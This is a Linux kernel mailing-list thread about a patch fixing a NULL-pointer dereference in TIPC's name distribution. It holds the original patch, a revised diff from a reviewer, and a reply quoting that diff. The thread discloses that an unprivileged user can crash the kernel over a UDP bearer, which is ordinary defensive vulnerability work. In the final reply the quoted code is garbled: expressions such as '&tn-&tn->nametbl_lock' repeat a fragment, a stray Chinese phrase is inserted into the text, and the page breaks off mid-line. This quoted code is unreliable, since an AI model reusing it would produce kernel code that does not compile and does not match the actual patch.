* [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list [not found] <20260718092544.785289-1-bestswngs@gmail.com> @ 2026-07-18 9:25 ` Weiming Shi 2026-07-20 15:41 ` Tung Quang Nguyen 2026-07-18 9:25 ` [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure Weiming Shi 2026-07-18 9:25 ` [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending Weiming Shi 2 siblings, 1 reply; 14+ messages in thread From: Weiming Shi @ 2026-07-18 9:25 UTC (permalink / raw) To: Jon Maloy, Tung Nguyen, netdev, tipc-discussion Cc: Xiang Mei, Weiming Shi, kernel test robot, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, Hoang Huu Le, linux-kernel [The defer-to-workqueue approach is by Tung Nguyen. He posted it on the thread and asked us to test it, as the replacement for the item-less bulk approach. Since the RFC only exists as an inline diff in the thread, it is folded into this series so the fix is self-contained.] named_distribute() stamps the last_bulk flag on the tail skb of the publication list. When the list is empty no skb is enqueued and the tail access dereferences NULL. tipc_named_node_up() hits this on an empty cluster_scope, which happens with a node-id configuration where cluster_scope is populated only later by tipc_net_finalize(). It is reachable by an unprivileged user over a UDP bearer in a user+net namespace. The reported crash: KASAN: null-ptr-deref in range [0x00000000000000d8-0x00000000000000df] RIP: 0010:tipc_named_node_up (net/tipc/name_distr.c:196) tipc_named_node_up (net/tipc/name_distr.c:196 net/tipc/name_distr.c:221) tipc_node_write_unlock (net/tipc/node.c:428) tipc_rcv (net/tipc/node.c:2185) tipc_udp_recv (net/tipc/udp_media.c:392) Kernel panic - not syncing: Fatal exception in interrupt When cluster_scope is empty at node-up, defer the bulk distribution to a workqueue and wait for tipc_net_finalize() to publish the node-state name, so named_distribute() always runs on a non-empty list. On allocation failure, purge the partially built queue and bring the link down so the bulk distribution restarts when the link comes up again. Fixes: cad2929dc432 ("tipc: update a binding service via broadcast") Reported-by: Xiang Mei <xmei5@asu.edu> Reported-by: kernel test robot <lkp@intel.com> Closes: https://lore.kernel.org/oe-kbuild-all/202607180730.TwVgASDI-lkp@intel.com/ Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech> Tested-by: Weiming Shi <bestswngs@gmail.com> Signed-off-by: Weiming Shi <bestswngs@gmail.com> --- net/tipc/core.c | 1 + net/tipc/core.h | 2 ++ net/tipc/name_distr.c | 48 +++++++++++++++++++++++++++++++++++++++---- net/tipc/name_distr.h | 3 ++- net/tipc/net.c | 2 ++ net/tipc/node.c | 34 ++++++++++++++++++++++++++++-- 6 files changed, 83 insertions(+), 7 deletions(-) diff --git a/net/tipc/core.c b/net/tipc/core.c index 434e70eabe08..ce164509d9e2 100644 --- a/net/tipc/core.c +++ b/net/tipc/core.c @@ -60,6 +60,7 @@ static int __net_init tipc_init_net(struct net *net) tn->trial_addr = 0; tn->addr_trial_end = 0; tn->capabilities = TIPC_NODE_CAPABILITIES; + atomic_set(&tn->finalized, 0); INIT_WORK(&tn->work, tipc_net_finalize_work); memset(tn->node_id, 0, sizeof(tn->node_id)); memset(tn->node_id_string, 0, sizeof(tn->node_id_string)); diff --git a/net/tipc/core.h b/net/tipc/core.h index 9ce5f9ff6cc0..76768844c808 100644 --- a/net/tipc/core.h +++ b/net/tipc/core.h @@ -145,6 +145,8 @@ struct tipc_net { struct work_struct work; /* The numbers of work queues in schedule */ atomic_t wq_count; + /* flag to indicate work has finished */ + atomic_t finalized; }; static inline struct tipc_net *tipc_net(struct net *net) diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c index 190b49c5cbc3..b764274df758 100644 --- a/net/tipc/name_distr.c +++ b/net/tipc/name_distr.c @@ -147,7 +147,7 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p) * @pls: linked list of publication items to be packed into buffer chain * @seqno: sequence number for this message */ -static void named_distribute(struct net *net, struct sk_buff_head *list, +static int named_distribute(struct net *net, struct sk_buff_head *list, u32 dnode, struct list_head *pls, u16 seqno) { struct publication *publ; @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, skb = named_prepare_buf(net, PUBLICATION, msg_rem, dnode); if (!skb) { + __skb_queue_purge(list); pr_warn("Bulk publication failure\n"); - return; + return 1; } hdr = buf_msg(skb); msg_set_bc_ack_invalid(hdr, true); @@ -195,6 +196,8 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, hdr = buf_msg(skb_peek_tail(list)); msg_set_last_bulk(hdr); msg_set_named_seqno(hdr, seqno); + + return 0; } /** @@ -203,7 +206,7 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, * @dnode: destination node * @capabilities: peer node's capabilities */ -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) { struct name_table *nt = tipc_name_table(net); struct tipc_net *tn = tipc_net(net); @@ -218,9 +221,46 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) spin_unlock_bh(&tn->nametbl_lock); read_lock_bh(&nt->cluster_scope_lock); - named_distribute(net, &head, dnode, &nt->cluster_scope, seqno); + /* tipc_net_finalize_work() has not finished inserting self address to + * name table yet. + */ + if (unlikely(list_empty(&nt->cluster_scope))) { + read_unlock_bh(&nt->cluster_scope_lock); + return 1; + } + + if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { + read_unlock_bh(&nt->cluster_scope_lock); + return -ENOBUFS; + } + tipc_node_xmit(net, &head, dnode, 0); read_unlock_bh(&nt->cluster_scope_lock); + return 0; +} + +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode) +{ + struct name_table *nt = tipc_name_table(net); + struct tipc_net *tn = tipc_net(net); + struct sk_buff_head head; + u16 seqno; + + __skb_queue_head_init(&head); + wait_var_event(&tn->finalized, atomic_read(&tn->finalized)); + spin_lock_bh(&tn->nametbl_lock); + seqno = nt->snd_nxt; + spin_unlock_bh(&tn->nametbl_lock); + + read_lock_bh(&nt->cluster_scope_lock); + if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { + read_unlock_bh(&nt->cluster_scope_lock); + return -ENOBUFS; + } + tipc_node_xmit(net, &head, dnode, 0); + read_unlock_bh(&nt->cluster_scope_lock); + + return 0; } /** diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h index c677f6f082df..cadf4e8c3e66 100644 --- a/net/tipc/name_distr.h +++ b/net/tipc/name_distr.h @@ -69,7 +69,8 @@ struct distr_item { struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ); struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ); -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode); void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq, u16 *rcv_nxt, bool *open); void tipc_named_reinit(struct net *net); diff --git a/net/tipc/net.c b/net/tipc/net.c index 7e65d0b0c4a8..4c144e720ac1 100644 --- a/net/tipc/net.c +++ b/net/tipc/net.c @@ -139,6 +139,8 @@ static void tipc_net_finalize(struct net *net, u32 addr) tipc_sk_reinit(net); tipc_mon_reinit_self(net); tipc_nametbl_publish(net, &ua, &sk, addr); + atomic_inc(&tn->finalized); + wake_up_var(&tn->finalized); } void tipc_net_finalize_work(struct work_struct *work) diff --git a/net/tipc/node.c b/net/tipc/node.c index 97aa970a0d83..f757722d15be 100644 --- a/net/tipc/node.c +++ b/net/tipc/node.c @@ -111,6 +111,7 @@ struct tipc_bclink_entry { * @peer_net: peer's net namespace * @peer_hash_mix: hash for this peer (FIXME) * @crypto_rx: RX crypto handler + * @work: work item for bulk distribution of cluster scope publications */ struct tipc_node { u32 addr; @@ -145,6 +146,7 @@ struct tipc_node { #ifdef CONFIG_TIPC_CRYPTO struct tipc_crypto *crypto_rx; #endif + struct work_struct work; }; /* Node FSM states and events: @@ -303,6 +305,7 @@ static void tipc_node_free(struct rcu_head *rp) #ifdef CONFIG_TIPC_CRYPTO tipc_crypto_stop(&n->crypto_rx); #endif + cancel_work_sync(&n->work); kfree(n); } @@ -393,6 +396,19 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n) write_unlock_bh(&n->lock); } +static void tipc_node_dist_bulk(struct work_struct *work) +{ + struct tipc_node *node = container_of(work, struct tipc_node, work); + + if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0) { + u32 bearer_id = node->link_id & 0xffff; + + tipc_node_link_down(node, bearer_id, false); + } + + tipc_node_put(node); +} + static void tipc_node_write_unlock(struct tipc_node *n) __releases(n->lock) { @@ -424,8 +440,21 @@ static void tipc_node_write_unlock(struct tipc_node *n) if (flags & TIPC_NOTIFY_NODE_DOWN) tipc_publ_notify(net, publ_list, node, n->capabilities); - if (flags & TIPC_NOTIFY_NODE_UP) - tipc_named_node_up(net, node, n->capabilities); + if (flags & TIPC_NOTIFY_NODE_UP) { + int rc = 0; + + rc = tipc_named_node_up(net, node, n->capabilities); + /* Defer bulk distribution to work queue */ + if (rc > 0) { + tipc_node_get(n); + schedule_work(&n->work); + } else if (rc < 0) { + /* Bring the link down to start over bulk distribution + * when the link is up again. + */ + tipc_node_link_down(n, bearer_id, false); + } + } if (flags & TIPC_NOTIFY_LINK_UP) { tipc_mon_peer_up(net, node, bearer_id); @@ -564,6 +593,7 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id, INIT_LIST_HEAD(&n->list); INIT_LIST_HEAD(&n->publ_list); INIT_LIST_HEAD(&n->conn_sks); + INIT_WORK(&n->work, tipc_node_dist_bulk); skb_queue_head_init(&n->bc_entry.namedq); skb_queue_head_init(&n->bc_entry.inputq1); __skb_queue_head_init(&n->bc_entry.arrvq); -- 2.43.0 ^ permalink raw reply [flat|nested] 14+ messages in thread
* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-18 9:25 ` [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list Weiming Shi @ 2026-07-20 15:41 ` Tung Quang Nguyen 2026-07-21 3:06 ` Weiming Shi 0 siblings, 1 reply; 14+ messages in thread From: Tung Quang Nguyen @ 2026-07-20 15:41 UTC (permalink / raw) To: Weiming Shi Cc: Xiang Mei, kernel test robot, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion >Subject: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on >empty publication list > >[The defer-to-workqueue approach is by Tung Nguyen. He posted it on the >thread and asked us to test it, as the replacement for the item-less bulk >approach. Since the RFC only exists as an inline diff in the thread, it is folded >into this series so the fix is self-contained.] > >named_distribute() stamps the last_bulk flag on the tail skb of the publication >list. When the list is empty no skb is enqueued and the tail access dereferences >NULL. tipc_named_node_up() hits this on an empty cluster_scope, which >happens with a node-id configuration where cluster_scope is populated only >later by tipc_net_finalize(). It is reachable by an unprivileged user over a UDP >bearer in a user+net namespace. The reported crash: > > KASAN: null-ptr-deref in range [0x00000000000000d8-0x00000000000000df] > RIP: 0010:tipc_named_node_up (net/tipc/name_distr.c:196) > tipc_named_node_up (net/tipc/name_distr.c:196 net/tipc/name_distr.c:221) > tipc_node_write_unlock (net/tipc/node.c:428) > tipc_rcv (net/tipc/node.c:2185) > tipc_udp_recv (net/tipc/udp_media.c:392) Kernel panic - not syncing: Fatal >exception in interrupt > >When cluster_scope is empty at node-up, defer the bulk distribution to a >workqueue and wait for tipc_net_finalize() to publish the node-state name, so >named_distribute() always runs on a non-empty list. On allocation failure, >purge the partially built queue and bring the link down so the bulk distribution >restarts when the link comes up again. > >Fixes: cad2929dc432 ("tipc: update a binding service via broadcast") >Reported-by: Xiang Mei <xmei5@asu.edu> >Reported-by: kernel test robot <lkp@intel.com> >Closes: https://lore.kernel.org/oe-kbuild-all/202607180730.TwVgASDI- >lkp@intel.com/ >Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech> >Tested-by: Weiming Shi <bestswngs@gmail.com> >Signed-off-by: Weiming Shi <bestswngs@gmail.com> >--- sashiko reports many critical/high issues: https://sashiko.dev/#/patchset/20260718092544.785289-1-bestswngs%40gmail.com I address all in below patch. Could you please test it ? --- net/tipc/core.c | 2 ++ net/tipc/core.h | 4 +++ net/tipc/name_distr.c | 67 +++++++++++++++++++++++++++++++++++++------ net/tipc/name_distr.h | 3 +- net/tipc/net.c | 15 +++++++++- net/tipc/node.c | 61 +++++++++++++++++++++++++++++++++++++-- 6 files changed, 139 insertions(+), 13 deletions(-) diff --git a/net/tipc/core.c b/net/tipc/core.c index 315975c3be81..52544b805dcc 100644 --- a/net/tipc/core.c +++ b/net/tipc/core.c @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net) tn->trial_addr = 0; tn->addr_trial_end = 0; tn->capabilities = TIPC_NODE_CAPABILITIES; + atomic_set(&tn->finalized, 0); + atomic_set(&tn->work_rescheduled, 0); INIT_WORK(&tn->work, tipc_net_finalize_work); memset(tn->node_id, 0, sizeof(tn->node_id)); memset(tn->node_id_string, 0, sizeof(tn->node_id_string)); diff --git a/net/tipc/core.h b/net/tipc/core.h index 9ce5f9ff6cc0..52fdb9189cc3 100644 --- a/net/tipc/core.h +++ b/net/tipc/core.h @@ -145,6 +145,10 @@ struct tipc_net { struct work_struct work; /* The numbers of work queues in schedule */ atomic_t wq_count; + /* flag to indicate work has finished */ + atomic_t finalized; + /* flag to reschedule work */ + atomic_t work_rescheduled; }; static inline struct tipc_net *tipc_net(struct net *net) diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c index ba4f4906e13b..3e32445cfbd0 100644 --- a/net/tipc/name_distr.c +++ b/net/tipc/name_distr.c @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p) * @pls: linked list of publication items to be packed into buffer chain * @seqno: sequence number for this message */ -static void named_distribute(struct net *net, struct sk_buff_head *list, - u32 dnode, struct list_head *pls, u16 seqno) +static int named_distribute(struct net *net, struct sk_buff_head *list, + u32 dnode, struct list_head *pls, u16 seqno) { struct publication *publ; struct sk_buff *skb = NULL; @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, skb = named_prepare_buf(net, PUBLICATION, msg_rem, dnode); if (!skb) { + __skb_queue_purge(list); pr_warn("Bulk publication failure\n"); - return; + return 1; } hdr = buf_msg(skb); msg_set_bc_ack_invalid(hdr, true); @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, hdr = buf_msg(skb_peek_tail(list)); msg_set_last_bulk(hdr); msg_set_named_seqno(hdr, seqno); + + return 0; } /** - * tipc_named_node_up - tell specified node about all publications by this node + * tipc_named_distribute - distribute all publications to specified node * @net: the associated network namespace * @dnode: destination node - * @capabilities: peer node's capabilities */ -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) +static int tipc_named_distribute(struct net *net, u32 dnode) { struct name_table *nt = tipc_name_table(net); struct tipc_net *tn = tipc_net(net); @@ -212,15 +214,62 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) __skb_queue_head_init(&head); spin_lock_bh(&tn->nametbl_lock); - if (!(capabilities & TIPC_NAMED_BCAST)) - nt->rc_dests++; seqno = nt->snd_nxt; spin_unlock_bh(&tn->nametbl_lock); read_lock_bh(&nt->cluster_scope_lock); - named_distribute(net, &head, dnode, &nt->cluster_scope, seqno); + /* 1. tipc_net_finalize_work() is not scheduled because of namespace + * teardown. + * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed + * to insert node self address publication to nt->cluster_scope. + * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not + * executed yet. + */ + if (unlikely(list_empty(&nt->cluster_scope))) { + read_unlock_bh(&nt->cluster_scope_lock); + return 1; + } + + if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { + read_unlock_bh(&nt->cluster_scope_lock); + return -ENOBUFS; + } tipc_node_xmit(net, &head, dnode, 0); read_unlock_bh(&nt->cluster_scope_lock); + + return 0; +} + +/** + * tipc_named_node_up - tell specified node about all publications by this node + * @net: the associated network namespace + * @dnode: destination node + * @capabilities: peer node's capabilities + */ +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) +{ + struct name_table *nt = tipc_name_table(net); + struct tipc_net *tn = tipc_net(net); + + spin_lock_bh(&tn->nametbl_lock); + if (!(capabilities & TIPC_NAMED_BCAST)) + nt->rc_dests++; + spin_unlock_bh(&tn->nametbl_lock); + + return tipc_named_distribute(net, dnode); +} + +/** + * tipc_named_dist_cluster_scope - distribute all publications to specified node + * @net: the associated network namespace + * @dnode: destination node + */ +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode) +{ + struct tipc_net *tn = tipc_net(net); + + wait_var_event(&tn->finalized, atomic_read(&tn->finalized)); + return tipc_named_distribute(net, dnode); } /** diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h index c677f6f082df..cadf4e8c3e66 100644 --- a/net/tipc/name_distr.h +++ b/net/tipc/name_distr.h @@ -69,7 +69,8 @@ struct distr_item { struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ); struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ); -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode); void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq, u16 *rcv_nxt, bool *open); void tipc_named_reinit(struct net *net); diff --git a/net/tipc/net.c b/net/tipc/net.c index 7e65d0b0c4a8..78418515277e 100644 --- a/net/tipc/net.c +++ b/net/tipc/net.c @@ -132,13 +132,26 @@ static void tipc_net_finalize(struct net *net, u32 addr) tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE, TIPC_NODE_STATE, addr, addr); + if (atomic_read(&tn->work_rescheduled)) + goto publish; + if (cmpxchg(&tn->node_addr, 0, addr)) return; tipc_set_node_addr(net, addr); tipc_named_reinit(net); tipc_sk_reinit(net); tipc_mon_reinit_self(net); - tipc_nametbl_publish(net, &ua, &sk, addr); + +publish: + if (!tipc_nametbl_publish(net, &ua, &sk, addr)) { + tn->trial_addr = addr; + atomic_set(&tn->work_rescheduled, 1); + schedule_work(&tn->work); + return; + } + atomic_set(&tn->work_rescheduled, 0); + atomic_set(&tn->finalized, 1); + wake_up_var(&tn->finalized); } void tipc_net_finalize_work(struct work_struct *work) diff --git a/net/tipc/node.c b/net/tipc/node.c index 8e4ef2630ae4..afed72894722 100644 --- a/net/tipc/node.c +++ b/net/tipc/node.c @@ -111,6 +111,8 @@ struct tipc_bclink_entry { * @peer_net: peer's net namespace * @peer_hash_mix: hash for this peer (FIXME) * @crypto_rx: RX crypto handler + * @work: work item for bulk distribution of cluster scope publications + * @work_scheduled: flag to indicate the work has been scheduled */ struct tipc_node { u32 addr; @@ -145,6 +147,8 @@ struct tipc_node { #ifdef CONFIG_TIPC_CRYPTO struct tipc_crypto *crypto_rx; #endif + struct work_struct work; + atomic_t work_scheduled; }; /* Node FSM states and events: @@ -393,6 +397,27 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n) write_unlock_bh(&n->lock); } +static void tipc_node_down(struct tipc_node *n) +{ + u32 bearer_id, bearer_cnt; + + tipc_node_read_lock(n); + bearer_cnt = n->link_cnt; + tipc_node_read_unlock(n); + for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++) + tipc_node_link_down(n, bearer_id, false); +} + +static void tipc_node_dist_bulk(struct work_struct *work) +{ + struct tipc_node *node = container_of(work, struct tipc_node, work); + + if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0) + tipc_node_down(node); + + tipc_node_put(node); +} + static void tipc_node_write_unlock(struct tipc_node *n) __releases(n->lock) { @@ -424,8 +449,23 @@ static void tipc_node_write_unlock(struct tipc_node *n) if (flags & TIPC_NOTIFY_NODE_DOWN) tipc_publ_notify(net, publ_list, node, n->capabilities); - if (flags & TIPC_NOTIFY_NODE_UP) - tipc_named_node_up(net, node, n->capabilities); + if (flags & TIPC_NOTIFY_NODE_UP) { + int rc = 0; + + rc = tipc_named_node_up(net, node, n->capabilities); + /* Defer bulk distribution to work queue */ + if (rc > 0) { + atomic_set(&n->work_scheduled, 1); + tipc_node_get(n); + if (!schedule_work(&n->work)) + tipc_node_put(n); + } else if (rc < 0) { + /* Bring the node down to start over bulk distribution + * when the first link is up again. + */ + tipc_node_down(n); + } + } if (flags & TIPC_NOTIFY_LINK_UP) { tipc_mon_peer_up(net, node, bearer_id); @@ -564,6 +604,8 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id, INIT_LIST_HEAD(&n->list); INIT_LIST_HEAD(&n->publ_list); INIT_LIST_HEAD(&n->conn_sks); + INIT_WORK(&n->work, tipc_node_dist_bulk); + atomic_set(&n->work_scheduled, 0); skb_queue_head_init(&n->bc_entry.namedq); skb_queue_head_init(&n->bc_entry.inputq1); __skb_queue_head_init(&n->bc_entry.arrvq); @@ -635,10 +677,25 @@ static void tipc_node_delete_from_list(struct tipc_node *node) static void tipc_node_delete(struct tipc_node *node) { + struct tipc_net *tn = tipc_net(node->net); + trace_tipc_node_delete(node, true, " "); tipc_node_delete_from_list(node); timer_delete_sync(&node->timer); + + /* Wake up node work queue if tipc_net_finalize_work() is not + * scheduled yet. + */ + if (atomic_read(&node->work_scheduled)) { + if (!atomic_read(&tn->finalized)) { + atomic_set(&tn->finalized, 1); + wake_up_var(&tn->finalized); + } + + cancel_work_sync(&node->work); + } + tipc_node_put(node); } -- 2.43.0 ^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-20 15:41 ` Tung Quang Nguyen @ 2026-07-21 3:06 ` Weiming Shi 2026-07-21 3:24 ` Tung Quang Nguyen 0 siblings, 1 reply; 14+ messages in thread From: Weiming Shi @ 2026-07-21 3:06 UTC (permalink / raw) To: Tung Quang Nguyen Cc: Xiang Mei, kernel test robot, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion Tung Quang Nguyen <tung.quang.nguyen@est.tech> 于2026年7月20日周一 23:41写道： > > >Subject: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on > >empty publication list > > > >[The defer-to-workqueue approach is by Tung Nguyen. He posted it on the > >thread and asked us to test it, as the replacement for the item-less bulk > >approach. Since the RFC only exists as an inline diff in the thread, it is folded > >into this series so the fix is self-contained.] > > > >named_distribute() stamps the last_bulk flag on the tail skb of the publication > >list. When the list is empty no skb is enqueued and the tail access dereferences > >NULL. tipc_named_node_up() hits this on an empty cluster_scope, which > >happens with a node-id configuration where cluster_scope is populated only > >later by tipc_net_finalize(). It is reachable by an unprivileged user over a UDP > >bearer in a user+net namespace. The reported crash: > > > > KASAN: null-ptr-deref in range [0x00000000000000d8-0x00000000000000df] > > RIP: 0010:tipc_named_node_up (net/tipc/name_distr.c:196) > > tipc_named_node_up (net/tipc/name_distr.c:196 net/tipc/name_distr.c:221) > > tipc_node_write_unlock (net/tipc/node.c:428) > > tipc_rcv (net/tipc/node.c:2185) > > tipc_udp_recv (net/tipc/udp_media.c:392) Kernel panic - not syncing: Fatal > >exception in interrupt > > > >When cluster_scope is empty at node-up, defer the bulk distribution to a > >workqueue and wait for tipc_net_finalize() to publish the node-state name, so > >named_distribute() always runs on a non-empty list. On allocation failure, > >purge the partially built queue and bring the link down so the bulk distribution > >restarts when the link comes up again. > > > >Fixes: cad2929dc432 ("tipc: update a binding service via broadcast") > >Reported-by: Xiang Mei <xmei5@asu.edu> > >Reported-by: kernel test robot <lkp@intel.com> > >Closes: https://lore.kernel.org/oe-kbuild-all/202607180730.TwVgASDI- > >lkp@intel.com/ > >Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech> > >Tested-by: Weiming Shi <bestswngs@gmail.com> > >Signed-off-by: Weiming Shi <bestswngs@gmail.com> > >--- > sashiko reports many critical/high issues: https://sashiko.dev/#/patchset/20260718092544.785289-1-bestswngs%40gmail.com > > I address all in below patch下面的补丁. Could you please test it ? > > --- > net/tipc/core.c | 2 ++ > net/tipc/core.h | 4 +++ > net/tipc/name_distr.c | 67 +++++++++++++++++++++++++++++++++++++------ > net/tipc/name_distr.h | 3 +- > net/tipc/net.c | 15 +++++++++- > net/tipc/node.c | 61 +++++++++++++++++++++++++++++++++++++-- > 6 files changed, 139 insertions(+), 13 deletions(-) > > diff --git a/net/tipc/core.c b/net/tipc/core.c > index 315975c3be81..52544b805dcc 100644 > --- a/net/tipc/core.c > +++ b/net/tipc/core.c > @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net) > tn->trial_addr = 0; > tn->addr_trial_end = 0; > tn->capabilities = TIPC_NODE_CAPABILITIES; > + atomic_set(&tn->finalized, 0); > + atomic_set(&tn-&tn->work_rescheduled, 0); > INIT_WORK(&tn-&tn->work, tipc_net_finalize_work); > memset(tn->node_id, 0, sizeof(tn->node_id)); > memset(tn->node_id_string, 0, sizeof(tn->node_id_string)); > diff --git a/net/tipc/core.h b/net/tipc/core.h > index 9ce5f9ff6cc0..52fdb9189cc3 100644 > --- a/net/tipc/core.h > +++ b/net/tipc/core.h > @@ -145,6 +145,10 @@ struct tipc_net { > struct work_struct work; > /* The numbers of work queues in schedule */ > atomic_t wq_count; > + /* flag to indicate work has finished */ > + atomic_t finalized; > + /* flag to reschedule work */ > + atomic_t work_rescheduled; > }; > > static inline struct tipc_net *tipc_net(struct net *net) > diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c > index ba4f4906e13b..3e32445cfbd0 100644 > --- a/net/tipc/name_distr.c > +++ b/net/tipc/name_distr.c > @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p) > * @pls: linked list of publication items to be packed into buffer chain > * @seqno: sequence number for this message > */ > -static void named_distribute(struct net *net, struct sk_buff_head *list, > - u32 dnode, struct list_head *pls, u16 seqno) > +static int named_distribute(struct net *net, struct sk_buff_head *list, > + u32 dnode, struct list_head *pls, u16 seqno) > { > struct publication *publ; > struct sk_buff *skb = NULL; > @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, > skb = named_prepare_buf(net, PUBLICATION, msg_rem, > dnode); > if (!skb) { > + __skb_queue_purge(list); > pr_warn("Bulk publication failure\n"); > - return; > + return 1; > } > hdr = buf_msg(skb); > msg_set_bc_ack_invalid(hdr, true); > @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, > hdr = buf_msg(skb_peek_tail(list)); > msg_set_last_bulk(hdr); > msg_set_named_seqno(hdr, seqno); > + > + return 0; > } > > /** > - * tipc_named_node_up - tell specified node about all publications by this node > + * tipc_named_distribute - distribute all publications to specified node > * @net: the associated network namespace > * @dnode: destination node > - * @capabilities: peer node's capabilities > */ > -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > +static int tipc_named_distribute(struct net *net, u32 dnode) > { > struct name_table *nt = tipc_name_table(net); > struct tipc_net *tn = tipc_net(net); > @@ -212,15 +214,62 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > > __skb_queue_head_init(&head); > spin_lock_bh(&tn-&tn->nametbl_lock); > - if (!(capabilities & TIPC_NAMED_BCAST)) > - nt->rc_dests++; > seqno = nt->snd_nxt; > spin_unlock_bh(&tn-&tn->nametbl_lock); > > read_lock_bh(&nt->cluster_scope_lock); > - named_distribute(net, &head, dnode, &nt->cluster_scope, seqno); > + /* 1. tipc_net_finalize_work() is not scheduled because of namespace > + * teardown. > + * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed > + * to insert node self address publication to nt->cluster_scope. > + * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not > + * executed yet. > + */ > + if (unlikely(list_empty(&nt->cluster_scope))) { > + read_unlock_bh(&nt->cluster_scope_lock); > + return 1; > + } > + > + if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { > + read_unlock_bh(&nt->cluster_scope_lock); > + return -ENOBUFS; > + } > tipc_node_xmit(net, &head, dnode, 0); > read_unlock_bh(&nt->cluster_scope_lock); > + > + return 0; > +} > + > +/** > + * tipc_named_node_up - tell specified node about all publications by this node > + * @net: the associated network namespace > + * @dnode: destination node > + * @capabilities: peer node's capabilities > + */ > +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > +{ > + struct name_table *nt = tipc_name_table(net); > + struct tipc_net *tn = tipc_net(net); > + > + spin_lock_bh(&tn-&tn->nametbl_lock); > + if (!(capabilities & TIPC_NAMED_BCAST)) > + nt->rc_dests++; > + spin_unlock_bh(&tn-&tn->nametbl_lock); > + > + return tipc_named_distribute(net, dnode); > +} > + > +/** > + * tipc_named_dist_cluster_scope - distribute all publications to specified node > + * @net: the associated network namespace > + * @dnode: destination node > + */ > +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode) > +{ > + struct tipc_net *tn = tipc_net(net); > + > + wait_var_event(&tn->finalized, atomic_read(&tn->finalized)); > + return tipc_named_distribute(net, dnode); > } > > /** > diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h > index c677f6f082df..cadf4e8c3e66 100644 > --- a/net/tipc/name_distr.h > +++ b/net/tipc/name_distr.h > @@ -69,7 +69,8 @@ struct distr_item { > > struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ); > struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ); > -void 